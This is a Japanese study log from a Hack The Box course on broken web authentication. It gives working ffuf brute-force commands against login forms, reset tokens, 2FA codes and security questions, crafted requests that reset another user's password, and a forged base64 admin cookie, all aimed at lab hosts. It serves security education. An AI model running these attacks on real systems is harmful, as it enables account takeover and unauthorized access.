> For the complete documentation index, see [llms.txt](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/pentest_technique/broken-authentication.md).

# Broken Authentication

コース : <https://academy.hackthebox.com/course/preview/broken-authentication>

* 認証は、RFC 4949 では「システムエンティティまたはシステムリソースが特定の属性値を持つという主張を検証するプロセス」と定義
* 情報セキュリティにおいて、認証とは、エンティティの身元を確認し、そのエンティティが名乗る人物であることを保証するプロセス
* 一方、認可は「システムエンティティがシステムリソースにアクセスすることを許可する承認」
* 知識ベース認証
  * パスワードとか
* 所有ベース認証
  * ユーザーが所有しているものに依存
  * IDカード、セキュリティトークン、スマホなど
* 内在ベース認証
  * 生体認証や音声認識、署名など

認証に対する攻撃

* 知識ベース認証
  * 比較的攻撃しやすい
  * CTFやHTBで扱うのは、知識ベース認証
  * サイバー脅威が進化するにつれて、攻撃者はソーシャルエンジニアリングやデータ漏洩など、さまざまな手段を通じて知識ベース認証システムの弱点を悪用することに熟達している
* 所有ベース認証
  * フィッシング攻撃やパスワード推測攻撃など、多くの一般的なサイバー脅威に対する**耐性**がある
  * ハードウェアトークンやスマートカードなど、物理的な所有に基づく認証方法は本質的に安全性が高い
  * オブジェクトの盗難やクローン作成などの**物理的な攻撃**、およびそれが使用するアルゴリズムに対する**暗号攻撃**に対して脆弱になる可能性がある
  * 公共交通機関やカフェなどの公共の場所でNFCバッジなどのオブジェクトをクローン作成することは、実行可能な攻撃
* 内在ベース認証
  * データ漏洩が発生した場合、**元に戻せない形で侵害される**可能性がある
  * 普通の使用時には安全に見えるが、ハッキングされ、流出したとしても、認証情報を変更することができないというデメリットもある

## ブルートフォース

ユーザー列挙した後に、パスワードのブルートフォース攻撃よね

### ユーザー列挙

* ユーザー列挙の脆弱性は、Webアプリケーションが認証エンドポイントに対して**登録済み/有効な入力**と**無効な入力**で**異なる応答**を返す場合に発生する
* この脆弱性は、ユーザー名に基づいた機能（ログイン、ユーザー登録、パスワードリセットなど）で頻繁に見られる
  * Web開発者は、ユーザー名のような情報は機密ではないと考え、ユーザー列挙の攻撃ベクトルを見落としがち
  * ユーザーはWebアプリケーション以外（FTP、RDP、SSHなど）でも同じユーザー名を使い回す傾向がある

#### 理論

* Webアプリケーションが「このユーザー名は存在しません」といった情報を返すことで、正規のユーザーが自分の入力ミスに気づける一方で、攻撃者も有効なユーザー名を特定できてしまう
* 例えば、WordPressのような有名で成熟したアプリケーションでさえ、デフォルトでユーザー列挙が可能
  * 無効なユーザー名の場合
    * 「不明なユーザー名です。もう一度確認するか、メールアドレスを試してください。」
  * 有効なユーザー名 + 無効なパスワードの場合
    * 「そのユーザー名 editor に対して入力されたパスワードが間違っています。」
* ユーザー列挙はWebアプリケーションが意図的にサービス提供のために受け入れているセキュリティリスクである場合もある
  * 例えば、チャットするアプリだったりでユーザー名で相手を検索できる機能を提供しているものとか

#### 攻撃

例えば、無効なユーザーのときは、`Unknown user`って出る時は、それ以外が出てきた時に有効なユーザー名ってわかるよね

ffufを使って、ユーザー列挙できるよね

```sh
ffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
-u http://172.17.0.2/index.php \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ&password=invalid" \
-fr "Unknown user"
```

あとは、Webアプリケーションの応答内容の違いが最も分かりやすいユーザー列挙手法ですが、それ以外にも**サイドチャネル**を用いた列挙も可能

* サイドチャネル攻撃は、アプリケーションの直接的な応答ではなく、応答時間などの付随情報を分析する
  * 例えば、アプリケーションが有効なユーザー名に対してのみデータベース検索を行っている場合、有効なユーザー名を使用したときだけ応答に時間がかかる、といった挙動の差が現れることがある
  * 応答内容が同一でも**レスポンスタイミング**の差から有効なユーザー名を推測することが可能

### パスワード

* 有効なユーザーを特定した後、パスワードベースの認証では、ユーザーの認証手段として**パスワードのみに依存**する
* ユーザーは記憶しやすいパスワードを選ぶ傾向があるため、攻撃者がそれを推測したり総当たり攻撃（ブルートフォース）で突破する可能性がある

#### 理論

パスワードの問題点

* パスワードの使い回し
  * 同じパスワードを複数のアカウントで使う人が多く、あるアカウントが侵害されると、他のサービスも同じ資格情報で突破されるリスクがあります（パスワードスプレー攻撃）
* 弱いパスワードの使用
  * よくあるフレーズ、辞書に載っている単語、単純なパターンに基づくパスワードは、総当たり攻撃（ブルートフォース）で簡単に破られる可能性がある

#### 攻撃

* ブルートフォース攻撃の成功は、以下の2つに依存する
  1. 試行回数（何回試せるか）
  2. 攻撃にかかる時間（どれくらいで終わるか）
  * したがって、適切なワードリストの選定が極めて重要
* サンプルWebアプリケーションのログイン画面とかにパスワード要件とかが書かれてたら、辞書のヒントになるよね
  * rockyou.txtから該当するパスワードだけ抽出することで、より短時間で見つけられる

```sh
grep '[[:upper:]]' /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
snowyowl644@htb[/htb]$ wc -l custom_wordlist.txt
151647 custom_wordlist.txt
```

まず、burpsuiteなどで、どんなリクエストがきているかを確認してから、ffufとかでブルートフォースできる

```shell-session
ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
```

### パスワードリセットトークン

* 多くのウェブアプリケーションでは、ユーザーがパスワードを忘れた場合にパスワード回復機能が実装されている
* このパスワード回復機能は通常、SMSやEメールなどを介してユーザーに送信される**ワンタイムリセットトークン**に依存する
* ユーザーはこのトークンを使用して認証を行い、パスワードをリセットしてアカウントにアクセスできる
* 脆弱なパスワードリセットトークンは、攻撃者によってブルートフォースされたり、予測されたりする可能性があり、その結果、被害者のアカウントが乗っ取られる危険がある

#### 脆弱なリセットトークンの特定

* 通常、ターゲットのウェブアプリケーションでアカウントを作成し、パスワードリセットトークンを要求してから、それを分析する必要がある
* ![](https://i.imgur.com/yoxDtlZ.png)
* この例では、以下のパスワードリセットEメールを受け取ったと仮定する

```sh
1. Click on the following link to reset your password: Click 2. If the above link doesn't work, copy and paste the following URL into your web browser: http://weak_reset.htb/reset_password.php?token=7351
```

4桁のトークンの組み合わせだったら、10000通りしかない パスワードリセットを要求し、そのトークンをブルートフォースすることで、ユーザーのアカウントを乗っ取ることができる

#### 脆弱なリセットトークンへの攻撃

まず、考えられるトークンのリストを作成する 0-9999までのリストの例

* `-w` フラグは、すべての数字をゼロで埋めて同じ長さにする

```sh
seq -w 0 9999 > tokens.txt
```

* 現在パスワードをリセット中のユーザーがいると仮定して、すべてのアクティブなリセットトークンをブルートフォースすることができる
* 特定のユーザーをターゲットにする場合は、まずそのユーザーのパスワードリセットを要求してリセットトークンを作成する必要がある
* その後、`ffuf` でワードリストを指定し、すべてのアクティブなリセットトークンをブルートフォースする

```shell-session
ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"
```

### 2要素認証へのブルートフォース

* 通常、これは知識ベース認証（パスワード）と所有ベース認証（2FAデバイス）を組み合わせることで実現される
* 2FAは以前に説明した3つの主要な認証カテゴリのいずれか2つを組み合わせることでも実現できる
  * 2FAは攻撃者がユーザーの認証情報を入手できたとしても、アカウントにアクセスすることを著しく困難になる

#### 攻撃

* 最も一般的な2FAの実装の1つ
  * ユーザーのパスワード
  * 認証アプリまたはSMSを介してユーザーのスマートフォンに提供される時間ベースワンタイムパスワード（TOTP）
* これらのTOTPは通常、数字のみで構成されているため、長さが不十分
  * ウェブアプリケーションが誤ったTOTPの連続送信に対する対策を実装していない場合、**推測される可能性**がある

CTFで、`admin : admin`でログインできた時に、2要素認証があることに気づいた

* しかし、ウェブアプリケーションのメッセージを見ると、TOTPが4桁のコードであることがわかる
* 可能な組み合わせは**10,000通り**しかないため、すべての可能なコードを簡単に試すことができる

4桁のセッショントークンのリストを作る

```sh
seq -w 0 9999 > tokens.txt
```

ffufで、エラーメッセージを除外してブルートフォースすることで、セッショントークンがわか離、2要素認証をパスすることができる

* 多くの結果が出てくる場合があるが、正しいTOTPを提供した後、セッションが2FAチェックを正常に通過したため
  * なので、一番最初のものが正しいTOTPだとわかる

```sh
ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"
```

* 攻撃が成功したら、セッションは完全に認証済みとしてマークされるため、セッションクッキーを使用するすべてのリクエストは `/admin.php` にリダイレクトされて、ログインできる

### ブルートフォースの防御のバイパス

#### レートリミット

* レートリミットは、システムやAPIへの受信リクエストのレートを制御するために、ソフトウェア開発やネットワーク管理で採用されている重要な技術
* DoSシナリオを防ぐために、レートリミットは正規のユーザーではなく、攻撃者に対してのみ適用されるべき
  * しかし、攻撃者のIPを見分けるのは難しい
  * **一部のレートリミットは、実際の送信元IPアドレスを取得するために `X-Forwarded-For` などのHTTPヘッダーに依存している**

しかし、`X-Forwarded-For` などのHTTPヘッダーは、攻撃者が任意のHTTPヘッダーを設定できるため、レートリミットを完全にバイパスすることもできる

* これにより、攻撃者はレートリミットを回避するために各HTTPリクエストで `X-Forwarded-For` ヘッダーをランダム化することでブルートフォース攻撃を実行できる
  * 例 : CVE-2020-35590

#### CAPTCHA

* Completely Automated Public Turing test to tell Computers and Humans Apart (CAPTCHA)
* ボットがリクエストを送信するのを防ぐためのセキュリティ対策
* こんな風に、正答がHTMLに書いてるCAPTCHAはだめ
* ![Login form with fields for username, password, and CAPTCHA. CAPTCHA image displayed. HTML inspector shows form structure and CAPTCHA input field.](https://academy.hackthebox.com/storage/modules/269/bf/captcha_1.png)

## パスワードアタック

### デフォルト認証情報

* 多くのウェブアプリケーションは、インストール後にアクセスできるように**デフォルトの認証情報**が設定されている
* 以下のリンクらで、デフォルトの認証情報探せるって
* <https://www.cirt.net/passwords>
* <https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials>
* <https://github.com/scadastrangelove/SCADAPASS/blob/master/scadapass.csv>

あと、google検索でもこのように調べれば出てくる

```google
bookstack default credentials
```

### 脆弱なパスワードリセット

ウェブアプリケーションがレートリミットやCAPTCHAを利用している場合でも、「パスワードリセット機能内のビジネスロジックのバグ」などで 他のユーザーのアカウントを乗っ取ることが可能になる場合がある

#### 推測可能なパスワードリセットの質問

* 多くの場合、ウェブアプリケーションは、パスワードを忘れたユーザーに1つまたは複数のセキュリティの質問に答えることを要求して認証する
* 登録時、ユーザーは事前に定義された一般的なセキュリティの質問に回答を提供し、カスタムの質問を入力することはできない
* 同じウェブアプリケーション内では、すべてのユーザーのセキュリティの質問は同じになり、攻撃者がそれを悪用できるようになる

ターゲットのウェブサイトでそのような機能を見つけた場合、認証をバイパスするためにそれを悪用しようとすべき 多くの場合、質問ベースのパスワードリセット機能の**脆弱なリンクは回答の予測**ができる

* 「母親の旧姓は何ですか？」
* 「生まれた都市はどこですか？」

これらの質問は個々のユーザーに結びついているように見える

* しかし、多くの場合、OSINTを通じて取得されたり、十分な試行回数（つまり、ブルートフォース保護の欠如）があれば推測されたりする可能性がある

たとえば、ウェブアプリケーションが「生まれた都市はどこですか？」のようなセキュリティの質問を使用していると仮定

* 世界には大都市のワードリストが複数存在
  * <https://github.com/datasets/world-cities/blob/main/data/world-cities.csv>
  * ブルートフォースできる
  * 何かわかっていれば絞り込んでブルートフォースすることもできる

例

* 回答をブルートフォースするための対応する `ffuf` コマンドをセットアップできる
* ユーザー名「admin」とリクエストを関連付けるために、セッションクッキーを指定する必要がある
  * burpsuiteなどで取得 上のワードリストから、都市名のみを取得

```shell-session
cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt
```

ffufでブルートフォース

```shell-session
ffuf -w ./city_wordlist.txt -u http://pwreset.htb/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" -d "security_response=FUZZ" -fr "Incorrect response."
```

#### リセットリクエストのロジック面での脆弱性

* 欠陥のあるパスワードリセットロジックの別の例は、ユーザーが**潜在的に隠されたパラメータを操作して、別のアカウントのパスワードをリセットできる**場合に発生

htb-stdntとして、reset\_password.phpを行うが、リクエストの中に`username`が入っている

```sh
POST /reset.php HTTP/1.1
Host: pwreset.htb
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv

username=htb-stdnt
```

```sh
POST /security_question.php HTTP/1.1
Host: pwreset.htb
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv

security_response=London&username=htb-stdnt
```

```sh
POST /reset_password.php HTTP/1.1
Host: pwreset.htb
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv

password=P@$$w0rd&username=htb-stdnt
```

なので、このように、adminのパスワードを変更できてしまうという脆弱性を突ける

```http
POST /reset_password.php HTTP/1.1
Host: pwreset.htb
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv

password=P@$$w0rd&username=admin
```

## 認証バイパス

#### ダイレクトアタック

* 認証チェックをバイパスする最も直接的な方法は**認証されていないコンテキストから保護されたリソースを直接要求する**こと
* ウェブアプリケーションがリクエストが認証されていることを適切に検証しない場合、認証されていない攻撃者は保護された情報にアクセスできる
  * 例
    * ウェブアプリケーションがユーザーの認証成功後に `/admin.php` エンドポイントにリダイレクトし、認証されたユーザーにのみ保護された情報を提供するロジックだとする
    * この時に認証も何もしていない状況で、直接`/admin.php`にアクセスすること
* ウェブアプリケーションがユーザーの認証をログインページのみに依存している時に起こる

#### 攻撃

1. webブラウザで、`/admin.php`にアクセスする
2. Burpsuitdeで傍受→Repeater

この時、 Repeaterのレスポンスを見ると、302になってるけど、admin.phpのHTMLが含まれているのがわかる ![](https://i.imgur.com/56GaXEm.png)

含まれているのがわかる ![](https://i.imgur.com/39VUBOi.png)

Proxyに戻って、右クリック→Do interceptを押す(ここでは画面に変化なし) Forward押す ![](https://i.imgur.com/uMUeKFt.png)

レスポンスが、Proxyに出てくる HTTP レスポンスステータスコードが302 Foundになっているので、それを200 OKに書き換える Forwardを押すと、ブラウザで、ダイレクトアタックした結果を見ることができる ![](https://i.imgur.com/4qsMfel.png)

![](https://i.imgur.com/EoyerjS.png)

### パラメータ変更による認証バイパス

* 認証実装は、HTTPパラメータの存在または値に依存している場合に欠陥がある可能性があり、**認証の脆弱性**を引き起こす
* セクションと同様に、このような脆弱性は認証および認可のバイパスにつながり、**権限昇格**を許してしまうことがある
* このタイプの脆弱性は、**Insecure Direct Object Reference (IDOR)** の脆弱性など、認可に関する問題と密接に関連しており、これらは「Web攻撃」モジュールでより詳細に扱われている

&#x20;ログインした後に`/admin.php?user_id=183`って感じで、webページが出たら、このuser\_idの数字をファジングすることでIDORで、権限昇格できることあるよねって話  SQLインジェクションとかもあるよねって話

user\_idの数字のリストの作成  \`\`\`sh seq 1 200 > user\_ids.txt

````

ffufの実行
```sh
ffuf -w user_ids.txt -u "http://94.237.51.163:50066/admin.php?user_id=FUZZ" -b "PHPSESSID=vu4badta7ib21h8wefwefwfwe" -mc 200,302
````

## セッショントークンへの攻撃

* ウェブアプリケーション認証の欠陥のある実装の悪用に焦点を当ててきた
* しかし、認証に関連する脆弱性は、認証自体の実装だけでなく、**セッショントークンの取り扱い**からも発生する可能性がある
* セッショントークンとは、ウェブアプリケーションがユーザーを識別するために使用する一意の識別子
* セッショントークンはユーザーのセッションに結びついている
* 攻撃者が別のユーザーの有効なセッショントークンを入手できれば、そのユーザーになりすましてウェブアプリケーションにアクセスし、セッションを乗っ取ることができる 十分にランダムでない場合、セッションを乗っ取ることができてしまう

#### 十分にランダムではないトークン

* ウェブアプリケーションによって割り当てられた次のセッショントークンを考えてみる `2c0c58b27c71a2ec5bf2b4b6e892b9f9`

セッショントークンは32文字長なので、他のユーザーの有効なセッションを列挙することは不可能に思える しかし、ログインリクエストを複数回送信し、ウェブアプリケーションによって割り当てられたセッショントークンに注目してみる その結果、以下のセッショントークンが得られる

```sh
2c0c58b27c71a2ec5bf2b4b6e892b9f9
2c0c58b27c71a2ec5bf2b4546092b9f9
2c0c58b27c71a2ec5bf2b497f592b9f9
2c0c58b27c71a2ec5bf2b48bcf92b9f9
2c0c58b27c71a2ec5bf2b4735e92b9f9
```

ご覧の通り、すべてのセッショントークンは非常に似ている 実際、32文字のうち28文字は、キャプチャされた5つのセッションすべてで同じ

* セッショントークンは、静的な文字列 `2c0c58b27c71a2ec5bf2b4` に4つのランダムな文字が続き、静的な文字列 `92b9f9` が続く構成になっている
* これにより、セッショントークンの**実質的なランダム性が低下**している
  * 32文字のうち28文字が静的であるため、既存のアクティブなセッションをブルートフォースするために列挙する必要があるのはわずか4文字であり、すべてのアクティブなセッションを乗っ取ることが可能になる

#### インクリメントするトークン

* もう1つの脆弱な例は、**インクリメントするセッショントークン**
* たとえば、連続するセッショントークンの以下のキャプチャを考えてみる

```sh
141233
141234
141237
141238
141240
```

* したがって、複数のセッショントークンをキャプチャして分析し、セッショントークンがそれらに対するブルートフォース攻撃を許さない十分なランダム性を提供していることを確認することが重要

#### 攻撃

* より現実的なシナリオでは、セッショントークンは表面上は十分なランダム性を提供しているように見える
* しかし、セッショントークンの生成は真にランダムではなく、**セッショントークン生成ロジックを理解している攻撃者によって予測される**可能性がある

セッショントークンは、ただのbase64エンコードされたデータの時とか

* これはCTFでガチであった
* このサイト最高
  * <https://dencode.com/ja/>
* **16進エンコード**または**URLエンコード**されたデータにも注意を払うべき

```sh
echo -n dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy | base64 -d
user=htb-stdnt;role=user
```

* ご覧の通り、クッキーにはユーザーとセッションに結びついたロールに関する情報が含まれている
* しかし、データを改ざんすることを防ぐセキュリティ対策はない
* データを操作し、期待される形式に一致するようにbase64エンコードすることで、独自のセッショントークンを偽造できる
  * これにより、管理者のクッキーを偽造することができて、ログインすることができる

```sh
echo -n 'user=htb-stdnt;role=admin' | base64 
dXNlcj1odGItc3RkbnQ7cm9sZT1hZG1pbg==
```

セッショントークンの別のバリアントには、データシーケンスの**暗号化の結果**が含まれている

* 弱い暗号化アルゴリズムは、単純なエンコードと同様に、権限昇格や認証バイパスにつながる可能性がある
* 暗号化アルゴリズムの不適切な処理や、ユーザー提供データの暗号化関数の入力への挿入は、セッショントークン生成の脆弱性につながる可能性がある

### セッション固定攻撃

* **セッション固定攻撃 (Session Fixation)** は、攻撃者が被害者の有効なセッションを取得できるようにする攻撃
* セッション固定攻撃に脆弱なウェブアプリケーションは、認証成功後に新しいセッショントークンを割り当てない
* もし攻撃者が被害者を、攻撃者によって選ばれたセッショントークンを使用するように誘導できれば、セッション固定攻撃によって攻撃者は被害者のセッションを盗み、そのアカウントにアクセスできるようになる
* たとえば、セッション固定攻撃に脆弱なウェブアプリケーションがHTTPクッキーの `session` にセッショントークンを使用していると仮定

セッション固定攻撃の流れ

1. 攻撃者は、ウェブアプリケーションに認証することで有効なセッショントークンを取得する
   1. たとえば、セッショントークンが `a1b2c3d4e5f6` であると仮定する
   2. その後、攻撃者はログアウトして自身のセッションを無効にする
2. 攻撃者は、以下のリンクを送信して、既知のセッショントークンを使用するように被害者を誘導する
   1. `http://vulnerable.htb/?sid=a1b2c3d4e5f6`
   2. 被害者がこのリンクをクリックすると、ウェブアプリケーションは `session` クッキーに提供された値を設定する
3. 被害者は脆弱なウェブアプリケーションに認証する
   1. 被害者のブラウザはすでに攻撃者が提供したセッションクッキーを保存しているため、ログインリクエストと共にそれが送信される
   2. ウェブアプリケーションは新しいセッショントークンを割り当てないため、被害者は攻撃者が提供したセッショントークンを使用することになる
4. 攻撃者は被害者のセッショントークン `a1b2c3d4e5f6` を知っているので、被害者のセッションを乗っ取ることができる
